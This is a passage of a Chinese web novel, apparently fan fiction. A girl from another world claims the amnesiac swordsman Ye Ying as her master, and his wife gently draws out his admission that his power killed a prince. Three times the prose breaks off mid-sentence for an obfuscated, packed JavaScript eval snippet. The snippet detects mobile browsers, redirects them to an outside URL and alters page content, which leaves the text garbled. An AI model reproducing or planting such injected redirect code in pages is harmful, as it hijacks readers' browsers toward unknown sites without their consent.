“我能看出来,”她温声道,指尖轻轻点了点小姑娘的额心,动作轻柔得像拂过一片羽毛,“你对我,也没有恶意,不是吗?” 云华水月被她说得又愣了一下。 这话倒没错。 她确实没恶意。不但没恶意,她心里还觉得她挺顺眼的,长得好看,说话也温柔,关键是对庄花好像……真的挺好的。 但是这也不是她揭穿她掉马的原因! 她转回头看着林芊雅那双含笑的眼睛抿了抿唇,然后用一种故作老成神态自若的语气说道: “对,我是知道他的过去。” 她顿了顿,像是在斟酌用词,然后才继续道:“如果……如果他真的是叶英的话。” 林芊雅听出她话里那点微妙,却只是笑了笑没接这个话茬。 她的语气依旧轻描淡写,甚至带着点闲话家常般的随意: “我不管你从何而来,又有何目的,又在想些什么。” 她顿了顿,目光柔和地落在云华水月脸上。 “我甚至还可以带你见见我夫君,若是你有所需之处,我也可以帮帮忙。” 这话说得温和又大方仿佛只是在招待一个远道而来的小客人。 但下一刻,她脸上的笑容便微微敛了敛。 那笑容并未完全消失,只是眼底那层温软的水光悄然褪去,换上了一层极淡的的冷意。 她依旧看着云华水月,唇角甚至还弯着,声音也还是轻的,却一字一句,清晰无比地落进小姑娘耳中: “但你最好不要想着伤害他。” “可以吗?”她温声问,仿佛刚才那句带着警告意味的话,只是随口一提。 她的目光在云华水月脸上停留了一瞬,那眼神并不凶狠,甚至可以说得上平静。但就是那股平静,反而让云华水月心头莫名一紧,后背有些发凉。 然后,只过了两三秒,林芊雅便又恢复了之前那副温温柔柔的模样,伸手摸了摸她的脑袋,仿佛刚才那道让人后背发凉的目光从未存在过。 她甚至还伸出手,像刚才那样,轻轻揉了揉云华水月的脑袋,动作自然又亲昵。 云华水月:“……” 她张了张嘴,想说点什么,却发现自己嗓子眼像是被什么堵住了似的。 就在这时,不远处传来一阵轻微的脚步声。 云华水月下意识转头看去。 就看见一个白发男子正不紧不慢地从回廊那头走过来。他穿着一身素净的衣袍,白发用木簪随意束着,面容清冷,眉眼如画,右额角那点殷红的梅花印记在午后的阳光下格外显眼。 他走得很稳,目光落在长椅上那两道身影上,神色却淡淡的,仿佛只是在看什么寻常风景。 叶英刚看完花回来,想着这个时辰妻子该在花园里散步,便顺着路过来寻她。 然后他就看见了这一幕。 他的小妻子坐在长椅上,身边挨着个穿得金灿灿的小姑娘。那小姑娘正扭头看着他,眼睛瞪得圆圆的,表情有些古怪。 叶英只是淡淡扫了一眼,便收回目光,继续朝林芊雅走去。 他不认识那小姑娘,也不知道是谁家的孩子。 但这有什么关系?大约是妻子认识的,或是哪家亲戚带来的,来府里玩罢了。 他一贯如此。对于不熟的人,是完全不上心的。 林芊雅见他过来,眉眼便弯了起来,朝他伸出手。 “夫君。”她唤了一声。 “嗯。”叶英应了一声,目光又扫过她微微隆起的小腹,眉头几不可查地蹙了一下,“累不累?要不要回去歇着?” 他这话问得自然,眼里也只有林芊雅一个人,仿佛旁边那个正瞪大眼睛看着他们的小姑娘根本不存在。 云华水月:“……” 她看着叶英那副完全无视她的样子,再看看林芊雅含笑接话的模样,心里那点刚被威胁过的紧张感,忽然就被一股更强烈的憋闷感给取代了。 喂!你们能不能看看我啊! 我这么大一个人坐在这儿呢! 而且……而且我还知道他过去呢! 你们就一点都不好奇吗?! 她被无视了!被彻底无视了! 她这么大一个活人坐在这儿,还穿着这么显眼的校服,结果这对夫妻居然眼里只有彼此?! 庄花也就罢了,毕竟这又不是第一回了。 无所谓我会溺爱。 谁是大庄主最爱的小叽啊?我是大庄主最爱的小叽。 但林芊雅……林芊雅刚才明明还威胁她呢!怎么转眼也把她当空气了?! 她脑子里却在飞快地问系统: 『系统!你确定了吗?!真的是他吗?!』 脑海里那个懒洋洋的声音慢悠悠地响起来: 『嗯哼~确定啦,就是藏剑山庄的镇庄之宝叶英,如假包换。灵魂波动一模一样哦。怎么样,惊不惊喜,意不意外?』 云华水月:“……” 不管了!那就上了! 她深吸一口气,然后—— “师父——!!!” 一声凄厉到变调的哭喊骤然炸响,划破了花园午后的宁静。 林芊雅和叶英都是一愣。 还没等他们反应过来,只见那个金灿灿的小小身影就像颗小炮弹一样,猛地从长椅上弹起来,以迅雷不及掩耳之势,直直扑向了叶英! 叶英瞳孔微缩,身体本能地想要侧身避开。可那身影太快,又太突然,而且……扑的方向是他的腿。 “砰!” 云华水月结结实实地抱住了叶英的大腿,两只小胳膊死死箍住,整个人像只树袋熊一样挂了上去,脸还埋在他衣摆上蹭了蹭。 哇塞,是庄花的裙摆! 好耶!庄花贴贴。 叶英身体瞬间僵住了。 他低头,看着这个莫名其妙挂在自己腿上的小东西,眉头几不可查地蹙了一下,眼里是毫不掩饰的茫然和……一丝极淡的嫌弃。 这谁家孩子? 怎么往人腿上扑? 他试着动了动腿,想把那孩子甩开。 可云华水月抱得死紧,非但没松手,反而开始放声大哭,一边哭一边嚎,声音凄惨得像是死了亲爹—— “师父!师父啊——!!!” “我终于找到你了师父!呜呜呜呜——” “你不在的这些天,徒儿真的是好惨好惨啊!吃了上顿没下顿啊!” 她哭得一把鼻涕一把泪,脸还埋在叶英衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224205|197544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摆上蹭,声音带着浓浓的哭腔顺便偷偷的把鼻涕全抹庄花衣服上了,吐字异常清晰: “隔壁丐帮也就被拿了1200金!你徒弟我!被人骗了10800金啊!10800!那可是我辛辛苦苦攒了好久的钱啊师父!呜呜呜呜——还有我存在仓库里绑定的玄晶也没了呜呜!” “师父!人家都说黑发人送白发人!没想到你不过就是去寻个剑!却让我黑发人送白发师啊!师父!” “师父!家里都想死你了啊师父!你不在的这些日子,我每天去山庄撒纸钱就为了招你的魂啊师父!太好了!师傅徒儿终于又看到你了!师傅你是回来看徒儿了吗!徒儿想你想得都瘦了!” 她越嚎越起劲,眼泪鼻涕糊了一脸,小身板还一抽一抽的,仿佛受了天大的委屈。 叶英:“……” 他整个人都僵在那儿,一动也不敢动。 低头看着这个挂在自己腿上、哭得撕心裂肺、嘴里还喊着“师父”、说着他完全听不懂的话的小女孩,叶英只觉得脑子里一片空白。 师父?谁?他吗? 他什么时候收过徒弟? 他连自己是谁都快忘了,哪来的徒弟? 还有,10800金是什么?丐帮被拿1200金又是什么?撒纸钱招魂? 这都什么乱七八糟的? 他下意识地看向林芊雅,眼神里带着从未有过的茫然和一丝求助的意味。 林芊雅也愣住了。 她看着那个前一秒还强作镇定、后一秒就扑到叶英腿上嚎啕大哭的小姑娘,再看看叶英那副完全懵掉手足无措的样子,一时竟不知该作何反应。 她当然听出了这小姑娘话里的古怪。 “师父”?“山庄”?“寻剑”? 这些词,似乎隐隐指向了叶英那模糊的过去。 可这哭嚎的方式,这夸张的言辞,这抱着大腿死不松手的架势……怎么看都像是一场精心策划的却又透着十足荒诞的闹剧。 她看着叶英那僵硬的身体和茫然的眼神,再看看云华水月那哭得“情真意切”的小脸,忽然有些想笑。 但她忍住了。 只是走上前几步,轻轻拉了拉叶英的衣袖,示意他先别动。 然后她蹲下身,与还挂在叶英腿上的云华水月平视,伸手轻轻拍了拍她的背,声音温和: “好了好了,不哭了。慢慢说,到底怎么回事?” 云华水月从叶英衣摆里抬起一张哭得通红、眼泪鼻涕糊成一团的小脸,抽抽噎噎地看着林芊雅,又看了看依旧僵立不动眉头紧锁的叶英,嘴巴一扁,又要开嚎: “师娘——!” 林芊雅:“……” 叶英:“…………” 这个称呼一出来,叶英眉头皱得更紧了。 云华水月却不管不顾,抱着叶英的腿,转向林芊雅,继续哭诉: “师娘你要给我做主啊!师父他一声不吭就跑了!留我一个人在山庄里!被人欺负!被人骗钱!还差点被人抓去卖掉!师娘——!” 她一边说,一边用脸蹭着叶英的衣摆,把那片原本素净的衣料蹭得皱巴巴湿漉漉的。 叶英额角的青筋似乎跳了一下。 他低头看着自己腿上这个甩不掉的小麻烦,听着她嘴里那些越来越离谱的话,只觉得头疼。 他试着开口,声音有些干涩: “……你先起来。” “我不!”云华水月抱得更紧了,仰起小脸,眼泪汪汪地看着他,“师父你不认得我了吗?我是水月啊!你最最最可爱的小徒弟啊!你以前还教我剑法,说我天赋异禀,将来定能继承你的衣钵呢!师父!” 叶英:“……” 他完全不记得有这回事。 一点印象都没有。 他看着这张哭得乱七八糟却异常执着的小脸,再感受着腿上那不容忽视的重量和湿意,生平第一次,生出一种名为无奈的情绪。 他好像……惹上了一个大麻烦。 41. 可怜的花园 云华水月总算是不情不愿地松开了叶英的腿,抽抽噎噎地站直了身子。 叶英几乎是立刻便往后退了小半步,低头看了看自己那皱巴巴还带着可疑湿痕的衣摆,眉头蹙得更紧了些。 林芊雅忍着笑意,引着两人到旁边不远处一个四面通风的小水榭里坐下。又让春华端了茶水和点心过来,还特意多拿了几块干净的帕子。 叶英接过帕子,第一件事便是低头仔细擦拭衣摆上那一片狼藉。他擦得很认真,力道有些重,仿佛想将那粘腻的触感和刚才那场莫名其妙的闹剧一并抹去。 云华水月坐在他对面的小绣墩上,捧着热茶小口小口地喝着,眼睛还红红的,鼻尖也红红的,但脸上的表情已经平静了许多,甚至带上了点得意偷偷拿眼瞟着叶英。 林芊雅坐在叶英身侧,看看这个,又看看那个,心里觉得好笑,面上却依旧是那副温温柔柔的样子,只伸手轻轻拉了拉叶英的衣袖,示意他别擦了,先说话。 叶英这才放下帕子,抬起眼看向对面的小姑娘。他的目光平静,没什么温度,更没什么师徒重逢的激动。 “你说我是你师父。”他开口,声音平直,听不出情绪,“我如今记不起前事,无法印证。但——” 他顿了顿,目光在云华水月那张故作镇定的小脸上停留了一瞬。 “你总得拿出些凭据,让我能信你几分。” 这话说得合情合理。 失忆之人,面对一个突然冒出来抱着自己大腿哭嚎的“徒弟”,要求证据再正常不过。 云华水月一听,眼睛立刻亮了亮。 “证据?包有的!”她放下茶杯,小身板坐直了些,脸上露出一种“你算问对人了”甚至还带点“我要放大招了”的兴奋表情。 她转头,看了看水榭外那片精致却略显局促的花园,又看了看对面端坐的叶英和含笑旁观的林芊雅,小脸上闪过一丝思索。 “要在这里展示吗?”她眨巴着眼问,语气里透着点不确定,似乎也在评估场地够不够用。 叶英和林芊雅对视了一眼,都有些疑惑。 展示证据?还需要挑地方么? 林芊雅想着,莫不是要展示什么不可与外人见的私密信物? 她刚要开口说无妨,就在此处便可,却见云华水月已经自己点了点头,像是下定了决心。 “那就这里吧!师父师娘看好了!” 话音未落,她猛地从凳子跳了下来,动作快得带起一阵风。 也不见她如何作势,反手便握住了背后那柄造型奇特分量显然不轻的重剑剑柄。 叶英目光一凝。 就连林芊雅也微微坐直了身子。 然后,他们就看见那八九岁的小姑娘,双手握着那柄几乎与她等高的重剑,娇小的身躯以一种与体型完全不符的力道和速度,猛地抡了起来! 不是寻常的剑招起手式。 是抡。像抡一个大风车一样。 “风——来——吴——山——!” 随着她一声清脆却气势十足的喝念,那柄重剑当真化作了一道金灿灿的高速旋转的风车! 不,那不是风车,那更像是一道骤然降临裹挟着刺目金光的微型龙卷风!虽然此时的两个古人谁都不知道龙卷风是什么意思。 “呼——!!!” 狂暴的气流以云华水月为中心轰然炸开! 飞沙走石,落叶狂舞!杯盏茶碟叮当作响,几乎要被卷走! 林芊雅惊呼一声,下意识抬手遮眼。 叶英也反应极快瞬间侧身将她护在身后,宽大的衣袖拂过,挡开扑面而来的碎石尘土。 那金色风车只持续了短短两三息。 但就这两三息,已经足够。 狂风过境。 等一切平息下来,林芊雅放下手,睁开眼,看到眼前景象时,整个人都愣住了。 水榭外那片原本精心打理的小花园,此刻已是一片狼藉。 花草倒伏,泥土翻卷,碎石和断枝散落得到处都是。最显眼的是不远处那棵她今早还夸过花开得好的海棠树,此刻花瓣落尽,枝叶凋零,光秃秃的树干上还留下了几道新鲜的划痕就差没拦腰斩断了,在阳光下格外刺目。 而那个始作俑者,正把重剑哐当一声杵在地上,小脸因为用力而微微发红,额角甚至渗出了一点细汗。她双手叉腰,挺着小胸脯,仰着脸,眼睛亮晶晶一副等待夸奖的模样地看着叶英和林芊雅。 叶英:“……” 林芊雅:“……” 水榭内外,一片死寂。 只有风吹过残破枝叶的沙沙声,和远处隐约传来下人小心翼翼的脚步声。 林芊雅是真的震惊了。 她见过江湖人打架,见过飞檐走壁,也听说过各种奇闻异事,甚至亲眼见过叶英出手时那非比寻常的轻功和剑意。 但像刚才这样……金光闪闪喊出名号平地刮起狂风瞬间把一片花园摧残成这样的武功,她别说见,连听都没听说过。 这已经完全超出了她对武功的认知。 这更像是……话本里写的仙法妖术,或者……神迹? 她看着云华水月那副骄傲的小模样,再看看一片狼藉的花园,尤其是那棵秃了的海棠树,心里那点因为孩子可爱而生出的柔软,瞬间被巨大的荒谬感和一丝心疼取代。 她精心打理的园子…… 而且除了园子也就不说了,今早叶英还特意去给她摘了那树上的花插在她鬓边。 可现在花……和树都没了…… 而叶英…… 叶英沉默地看着那片废墟,脸上没什么表情。 他对力量本身并不惊讶。他自己体内就沉睡着难以估量的力量,方才那阵狂风虽然声势惊人,但在他看来,也就……还行。 让他沉默的,是这种展示力量的方式,是这个小徒弟的思路。 用拆家来证明身份? 这逻辑他理解不了。 还有那招式的名字,风来吴山?喊出来不觉得羞耻吗? 他虽然觉得自己似乎也许也用过类似的名字听起来挺像一回事的招式,甚至对那剑招感觉到了熟悉,但……绝对……绝对不会这样喊出来,更不会用来折腾花花草草。 ……展示证据为什么要折腾花花草草呢?虽然他现在没有记忆,但他总觉得如果真是他的徒弟的话,说不定现在可能要被罚抄…… 两人就这么沉默着,谁也没说话。 气氛一时之间有些凝滞。 云华水月等了半天,没等到预想中的惊叹或相认,只等到两双写满复杂情绪的眼睛。她脸上的得意渐渐挂不住了,眨了眨眼,往前凑了凑,语气带着点不确定和急于证明: “师父?这……这够了吗?我们山庄的独门绝技!如假包换!” 她顿了顿,见叶英还是没反应,以为力度不够,立刻又挺起胸脯补充道:“不够的话我还会云飞玉皇!哦对了还有夕照雷锋!师父你要看哪个?我都可以——” “不必了。” 叶英终于开口,打断了她如数家珍般的报菜名。 他揉了揉眉心,觉得头更疼了。 “你……不用再施展了。”他尽量让自己的语气听起来平和一些,“我问,你答便是。” 云华水月立刻乖巧点头,一副师父你尽管问的配合模样。 叶英看着她,问出了第一个,也是最重要的问题: “你说你是我徒弟,那你说说,我的家世如何?家中还有何人?” 这是验证她话真伪最直接的方式。 若她真是他过去熟识之人,这些基本信息应当知晓。 云华水月一听是这个问题,小脸立刻严肃起来,坐得端端正正,掰着手指头,用一种背书般认真却流利的语气说道: “师父家里是藏剑山庄,在杭州西子湖畔,咱们家可有钱了!庄主是叶孟秋叶老庄主,是师父的父亲。师父你是长子,下面还有四个弟弟!” 她一个个数过去:“二庄主叶晖,管着山庄里里外外的生意和账目,最是精明能干就是人有点凶;三庄主叶炜,剑法超绝,就是有点渣男;四庄主叶蒙,力气最大,为人也最豪爽;五庄主叶凡……呃,小时候比较顽皮,爱往外跑。哦对了,还有一个大小姐,叫叶婧衣,是师父最小的妹妹,身体不太好,但大家都疼她。” 她说得煞有介事,人名、排行、甚至些许性格特点都清清楚楚,流畅得完全不像临时编造。 叶英安静地听着。 虽然依旧想不起任何相关的画面或情感,但这些名字入耳,心底深处似乎仍然有什么极细微的东西被牵动了一下。 至少,听起来不像是假的。 他沉默片刻,问出了最关键,也最让他警惕的问题: “若你所言是真,你当是我家中之人。那你为何……会来到此地?又是如何寻到我的?” 他的目光锐利起来,紧紧盯着云华水月。 他自己是因何流 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224206|197544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落至此,记忆被谁封印,又与那天道有何交易,这些隐秘他连芊雅都未曾详说。这个突然出现声称是他徒弟的小女孩,她的出现本身,就透着极大的蹊跷。 云华水月被他的目光看得有些不自在,但她脑子转得快,早就想好了说辞,或者说,她觉得自己说的就是大实话,只是换了种这个世界的人能理解的说法。 她一拍小胸脯,声音脆亮: “我当然是从另外一个世界掉到这里的啊!” 叶英瞳孔几不可查地一缩。 林芊雅也微微睁大了眼睛。 另一个世界? 云华水月没注意到两人细微的神情变化,继续自顾自地说下去,语气里还带着点抱怨: “我也不知道怎么回事,一睡醒就到这里了!然后脑子里就多了个奇奇怪怪的……嗯,天道?还是什么东西?反正它跟我说,必须找到师父你,我才能回家!” 她说的“天道”,自然是指她那个坑爹的系统。但系统这词这里的人听不懂,说“冥冥中的指引”或者“上天安排”又太玄乎,她灵机一动,就用了“天道”这个听起来更高大上也勉强能解释她为啥执著找人的词汇。 她却不知道,这个词却刚好歪打正着,戳中了叶英最大的秘密之一。 叶英放在膝上的手指微微动了一下。 天道……又是天道? 他遇到的,是这个世界的天道,行事诡谲,带着算计。 而水月遇到的,也是天道? 她说必须找到他才能回家……这和那晚天道与他交易时提到的推动故事积累能量换取归途。不知之间又有何相关的联系。 难道这小女孩,也是那天道棋盘上的一颗棋子? 是它安排来“推动故事”的? 这个念头让他心下一沉,看向云华水月的目光里审视意味更浓,却也多了几分复杂的了然。 如果是天道安排,那许多事就说得通了。 包括她为何会精准地找到这里。为何会对他的过去了如指掌。 云华水月见他沉默,以为自己解释得不够清楚,又赶紧补充了一句,语气带着点“我聪明吧快夸我”的小得意: “至于为啥能这么快找到师父你嘛,其实还是因为我看到了之前南安王府那边的剑影! 那铺天盖地的,一看就知道是师父你才能用出来的!只有师父你才能够把心剑用的跟万剑归宗一样了,就大概心里知道了,然后我就顺着打听,这就打听到丞相府新姑爷姓叶特征也对得上,今天就是来确认确认情况的!” 她这话说得理所当然,逻辑清晰,完美解释了她为何能迅速锁定目标。 然而—— 她话音刚落,就感觉旁边投来一道目光。 不是叶英的。 是林芊雅的。 林芊雅原本还沉浸在对另一个世界和天道的震惊与思索中,听到南安王府剑影这几个字时,最开始的时候甚至还没有反应过来,直到又反思了一下才听出其中真味。 南安王府的剑影? 那不是……天谴吗? 她当时还拉着他拜谢神明,还用柚子叶给他驱邪…… 她缓缓转过头,看向坐在自己身边的叶英。 夫君……不觉得你有些事情可以解释一下吗? 叶英在她目光转过来的瞬间,身体就几不可查地僵了一下。 这时被开口道破的时候更是浑身僵硬。 糟了。 他脑子里只剩下这两个字。 林芊雅没说话,只是微微眯起了眼睛,目光在他脸上停留了片刻。 那眼神平静,甚至依旧带着惯常的温柔底色,但叶英就是从中清晰地读出了一丝危险的了然的以及好啊叶英你居然有事瞒着我的讯号。 那目光在他脸上轻轻扫过,然后便若无其事地移开了,重新落回云华水月身上,脸上甚至还浮起一点温和的笑意,仿佛刚才那带着质问的一瞥从未发生。 但叶英知道,这事没完。 秋后算账的意味,简直明晃晃地写在了那短暂的对视里。 云华水月浑然不觉自己一句话就把自家师父给卖了,还眨巴着大眼睛,期待地看着叶英,等着他认下自己这个聪明机智又可怜的小徒弟。 叶英看着眼前这个一脸求表扬的小麻烦,再感受着身旁妻子那虽未言明却存在感极强的无声诘问,又觉得一股深深的无力的疲惫感涌了上来。 他抬手,再次按住了发疼的眉心。 42. 可是梅树成精? 花园的残局自有下人去收拾。 林芊雅吩咐管家将那个自称水月的小姑娘暂且安顿在客院,又细细叮嘱了几句饮食起居需注意的地方。 管家虽有些诧异府里突然多出这么一位衣着奇特言语古怪的小客人,但见小姐姑爷都未多言,便也恭敬应下,领着一步三回头眼睛还黏在叶英身上的云华水月下去了。 “她说自己暂无落脚之处,”林芊雅对管家嘱咐道,“便先让她在府里住下吧。一应用度,按客居小姐的例份来,别怠慢了。” 管家应下,自去安排。 林芊雅让春华备了热水,自己先沐了浴,换了身舒适的常服。叶英也去简单清理了一下,换下了那身被蹭得皱巴巴的衣袍。 等两人都收拾妥当,重新在卧房内坐下时,天色已近黄昏。 春华端了温着的安胎药和几样清淡点心进来,放下后便极有眼色地退了出去,还轻轻带上了房门。 屋内便只剩下他们两人。 林芊雅没有立刻说话,只是走到窗边的贵妃榻上,靠着软枕,姿态有些慵懒地斜倚着。 她的手自然而然地搭在小腹上,那里已经有了明显但还不算大的弧度,隔着柔软的衣料,能感觉到那一点点温暖的凸起。 过了好一会儿,林芊雅才终于缓缓转过头,目光落在了叶英身上。 那目光很平静,甚至可以说得上柔和,并没有质问或怒意。只是安静地看着他,眼神深处却带着一种了然和等待。 她没开口,就那么看着他。 叶英就站在离榻几步远的地方。 他在她的注视下,嘴唇微微动了一下,像是想说什么,却又像被什么堵住了喉咙。他垂在身侧的手指无意识地蜷了蜷,最终还是没有发出任何声音。 解释? 怎么解释? 说他体内有股自己都控制不住的力量? 说那天晚上天道如何怂恿他试招?说那些剑影如何失控飞向南安王府?说他其实根本没想杀人,只是……只是试了试? 这些话在脑海里转来转去,却一个字也吐不出来。 他向来就不是个善于言辞的人。失忆前如何他不知道,但自醒来后,寡言少语几乎成了他的本能。遇到事情,习惯于做,而不是说。 更何况这些事,连他自己都还没完全理清,连他自己都觉得荒谬离奇。他该怎么用语言向她描述?又该从何说起? 他并非有意隐瞒,只是……不知从何说起,也不知说了她能信几分,更怕说了反而让她担忧害怕。 说出口,她会信吗?会不会觉得他在编故事?或者……更糟,觉得他可怕? 他抿紧了唇,垂下眼,只默默盯着地面垂头丧气。 林芊雅看着他这副模样,心里那点不悦,忽然就淡了下去,化作了无奈。 她轻轻叹了口气。 算了。 跟这人置什么气呢? 他若是那等巧舌如簧心思百转之人,当初在溶洞里,大概也不会那样不管不顾地护着她,更不会在红烛下,用那样笨拙却认真到极致的方式,许下承诺。 “罢了。” 她低声说,语气里带着一丝淡淡的无奈,又好像早就料到会是这样。 她朝叶英招了招手。 “夫君,过来。” 叶英抬头,见她神色缓和眼神也软了下来,心里微微一松,依言走了过去,在她身旁的绣墩上坐下。 林芊雅没再逼问,只是伸出手,轻轻搭在他放在膝头的手背上。 林芊雅伸出手,轻轻覆在他放在膝上的手背上。他的手有些凉,掌心带着常年握剑留下的薄茧。她的手却很暖,柔软细腻。 “夫君是不知道如何解释,”她抬眼看他,声音放得很柔,像是在引导一个不知所措的孩子,“还是……不想解释?” 叶英手指几不可查地蜷缩了一下。 “……不知。”他低声道,声音有些涩。 是真的不知从何说起。 也是……怕说了,她听不懂,或是不信,或是……怕他。 林芊雅点了点头,似乎接受了他这个说法。她握着他的手,指尖在他手背上轻轻摩挲了两下,像是在安抚,也像是在思考。 “那这样吧,”她语气依旧平和,“我问,夫君答,可好?你只需点头,或是摇头,或是简单应一声。若是不知,便说不知。” 叶英抬眼看着她,她目光清澈坦然,没有逼迫,只有耐心。他心底那点紧绷,又松懈了些许。 “……好。” 林芊雅便问了第一个问题,也是最关键的一个: “南安王身死之事,与夫君有关,是吗?” 叶英沉默了一瞬,喉结滚动,最终还是低低应了一声:“……嗯。” 林芊雅搭在他手背上的指尖,几不可查地轻轻动了一下。 她没问他是怎么做到的。方才花园里那阵狂风,还有众人口中那铺天盖地的剑影,已经足以说明一切。 她接着问,语气依旧平稳: “是因为我,是吗?” 因为她受了委屈,因为南安王府针对林家,因为她父亲身处险境,因为她那日的眼泪和恐惧。 叶英这次没有犹豫,抬眼看她,目光沉静而肯定:“……嗯。” 是因为她。但又不全是。还有他自己胸中那股无处发泄的怒意,对那些轻慢她、伤害她之人的厌憎。 他没有试图否认。在她那样清澈了然的目光下,否认似乎也成了一种亵渎。 林芊雅看着他眼中那份毫不掩饰的坦荡,心尖像是被什么东西轻轻撞了一下,有些酸,又有些软。 她垂下眼,指尖无意识地摩挲着他手背上练剑留下的薄茧,问出了第三个问题: “这份力量的来源,是不是……跟夫君失去的记忆有关?” 她顿了顿,声音更轻了些,带着一丝她自己都未察觉的小心翼翼: “夫君……你是人?是神?还是……妖?” 问完,她自己先摇了摇头,像是觉得这问题有些傻气,又补充道:“算了,这不重要。夫君可是……想起了什么?” 叶英听着她这一连串问题,看着她努力理解却依旧难掩困惑的神情,心里那处最柔软的地方被轻轻触动了。 “对。”他低声回答,承认了力量与记忆有关,也承认自己确实想起了一些破碎的片段。但关于天道、交易、他真正的来历,他依旧不知该如何开口。 林芊雅轻轻“嗯”了一声,没再追问想起了什么。她抬起头,看着他的眼睛,问出了最后一个,也是她最在意的问题: “夫君可有想过,借这份力量……害林家?” 她的声音很平静,目光却紧紧锁着他,不放过他脸上任何一丝细微的变化。 叶英猛地抬眼,目光与她直直对上。 这一次,他没有丝毫迟疑也没有沉默,声音清晰而坚定甚至带着一种罕见的急切: “没有!” 他从未想过。一丝一毫都没有。 林家是她的家,是岳父苦心支撑的门庭,是他如今安身立命之所,是……她所在之地。 他怎么会想害林家? 林芊雅看着他眼中那不容错辨的认真和紧张,忽然就笑了。 不是那种带着探究或了然的笑,而是真正松快下来的带着暖意的笑容。 她没说他信,也没说不信。只是忽然轻轻叹了口气,那叹息里带着释然,也带着一丝嗔怪。 “手打疼了吗?”她问,语气忽然变得软软的,带着关切,“力量可有透支?身子可有不舒服?” 叶英愣了一下,没反应过来。 她不是该害怕?该质问?该……离他远一点吗? 怎么问起这个? 林芊雅仿佛没看见他的怔愣,自顾自地继续说下去,语气甚至带上了一点埋怨般的亲昵: 她顿了顿,语气里带上了一丝嗔怪,更多的却是后怕和心疼: “下一次……再遇到这种事情,记得提前与我说。我虽未必能帮上什么大忙,但……总可以帮你想想如何收尾,莫要再这样自己闷头去做了。至少,能想法子帮你收收尾,不至于闹得满城风雨,还弄的我拉着你去拜什么神明,散什么晦气。” 她说着,自己都觉得好笑,忍不住弯了弯唇角。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224207|197544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 叶英却彻底怔住了。 他设想过许多种她得知真相后的反应。 惊惧,怀疑,疏远,甚至厌恶……他都想过。 独独没想过,她会是这样。 仿佛他杀的不是一个权势滔天的王爷,只是不小心打碎了一只碍眼的杯子。而她关心的,是他手疼不疼,累不累,下次记得告诉她,她好帮他收拾。 一股陌生的滚烫的情绪猛地冲上心头,堵在喉咙口,让他一时失语。 林芊雅看着他呆呆的模样,那双总是沉静清冷的眼眸里此刻盛满了茫然和无措,像只不小心闯了祸正等着主人责罚却等来一颗糖的大猫。 她心头的笑意更深了,也有些发软。 “傻夫君。”她轻声说,伸手捧住他的脸,让他看着自己,“我不管你是谁,也不管你从哪儿来,身上藏着什么秘密,又有多大的本事。” 她的目光温柔而坚定,一字一句,清晰地说给他听: “我只知道,溶洞里背着我出来的人,是你。红烛下说定不负我的人,是你。如今……我肚子里这孩子的父亲,也是你。” “人也好,神也罢,哪怕当真是梅树成了精——” 她说到这里,自己先忍不住轻笑了一声,指尖轻轻点了点他额角那点殷红的梅花印记。 “我也只当是上了你这艘贼船,这辈子都下不去了。” “世人愚见,总为世俗规矩纲常伦理所困,看人先看其出身、看其形貌、看其与己不同之处。”她语气淡然,带着一种超越年龄的通透,“我却觉得,观人,只观其心,品其德,守其正。心正,则万般皆可为。” “既然你从未想过要害我,害林家,”她看着他,目光清澈见底,“那我又何必在乎那些无关紧要的细枝末节呢?” 叶英看着她,听着她这些话,胸口那团滚烫的情绪终于找到了出口。 他猛地伸手,将她紧紧拥入怀中。手臂收得很紧,像是要将她嵌入自己骨血里。 他没有说话,也说不出什么漂亮话。 只是将脸埋在她颈侧,感受着她身上熟悉的药香和温暖的体温,感受着她腹中那个小生命隔着衣料传来的细微存在感。 许久,他才低低地、重重地“嗯”了一声。 声音闷闷的,带着不易察觉的哽咽。 林芊雅靠在他怀里,听着他沉稳却比平时稍快的心跳,感受着他怀抱传来的温度与微微的颤抖,心里那点因今日种种而生的波澜,也渐渐平息下去,化作了满心的宁静与安然。 她轻轻拍着他的背,像哄孩子一样。 过了一会儿,等他情绪稍稍平复,她才从他怀里微微退开些许,仰着脸看他,眼中带着促狭的笑意,轻声浅笑。 那笑声打破了温情脉脉的静默,带着点俏皮和戏谑。 叶英微微松开她,低头看去,就见她仰着脸眼里闪着促狭的光。 “比起担心你是个坏人,我倒更担心另一件事。” 她煞有介事地说着,手指在他胸口轻轻点了点。 “夫君……你老实与我说?” 她微微凑近了些,压低声音,像是要说什么了不得的秘密: “你当真不是……梅树成精了?” 叶英:“……” “额上那梅花印那般好看,头发又这般白……”她越说越觉得像,眼里笑意更盛,“若真是梅树成精,那等到十月怀胎,我该不会……生出一株小梅树苗吧?” 